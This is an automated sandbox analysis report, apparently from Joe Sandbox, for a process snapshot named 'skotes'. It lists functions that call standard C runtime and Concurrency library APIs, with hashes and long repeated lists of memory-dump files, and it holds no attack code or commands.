Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 838ab9a5205d94d8366d5d675e7ace936286a9bea50d6f39da5a0a57411aedaf
Instruction ID: 89c8d9c3b01a8be86aea6f220596c651521b820a34f2350ef8ba5e496d6ae8f7
Opcode Fuzzy Hash: 838ab9a5205d94d8366d5d675e7ace936286a9bea50d6f39da5a0a57411aedaf
Instruction Fuzzy Hash: 2D01F5A2642319ADA721B7B55C46FFB36DCAE06B48B61143FF505E7241EEBCE80085F0

Function 007D2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 007D20B7

Part of subcall function 007CCAF3: Mailbox.LIBCMT ref: 007CCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D20C8
StructuredWorkStealingQueue.LIBCMT ref: 007D20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D210F

Strings

e, xrefs: 007D20D9

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 0a4c2ef677e84ed74366cd30224c7b5b63ec6850d32306cc23bbb88415ba991c
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 82119131101109EBDB15DE69C885B6A77B8AF21364B28C15BFD069F303DB7AD903CB91

Function 007BD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 007BD0A5

Strings

kernel32.dll, xrefs: 007BD04C
SleepConditionVariableCS, xrefs: 007BD05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 007BD03B
WakeAllConditionVariable, xrefs: 007BD069

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 3db2c74062496e042d5dce27c122db5f8902958f98ad0953ad40118b642dbd15
Instruction ID: 2096ba123debc9c2cd905eb6f5be72d889c9a52140d1d5d90d11b560d2b0c58b
Opcode Fuzzy Hash: 3db2c74062496e042d5dce27c122db5f8902958f98ad0953ad40118b642dbd15
Instruction Fuzzy Hash: 8401A2A1683B11ADFA3236766C05FEB2188DF82B44F451121E944E3390EE69DC0259B1

Function 007CE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 007CE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007CE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007CE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007CE9DC

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: e6226fa53d3104eba1f36704e0fae40c3b4e8c35b9feeab7a3777e6f70b95fbc
Instruction ID: f8699e7b7f79d4516e73ccbc3ab2d05504fd123fe25fee7df2e3dfa168842d15
Opcode Fuzzy Hash: e6226fa53d3104eba1f36704e0fae40c3b4e8c35b9feeab7a3777e6f70b95fbc
Instruction Fuzzy Hash: 7B410D75A00619EFCB09DF64C558BADBBB6FF48310F04815DE946A7391CB78AE01CB91

Function 007CD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 007CD344
ListArray.LIBCONCRT ref: 007CD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007CD370
ListArray.LIBCONCRT ref: 007CD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007CD3B3

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: bd31fc8c6259b8b86f3292746a8b62d3f25faa6237026e32755afb3e5d2109a6
Instruction ID: 27e8411daa4b755ff9eeced564690df5418422d6c8b86d7ec9e73528465c6ce2
Opcode Fuzzy Hash: bd31fc8c6259b8b86f3292746a8b62d3f25faa6237026e32755afb3e5d2109a6
Instruction Fuzzy Hash: BE318035700610EFCB15DB54C885FADB7A5BF88310F1541ADE80A9B392DB78ED41CB92

Function 007C86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007C86EE

Part of subcall function 007BEAD0: _SpinWait.LIBCONCRT ref: 007BEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 007C8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007C8734
List.LIBCMT ref: 007C87B7
List.LIBCMT ref: 007C87C6

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
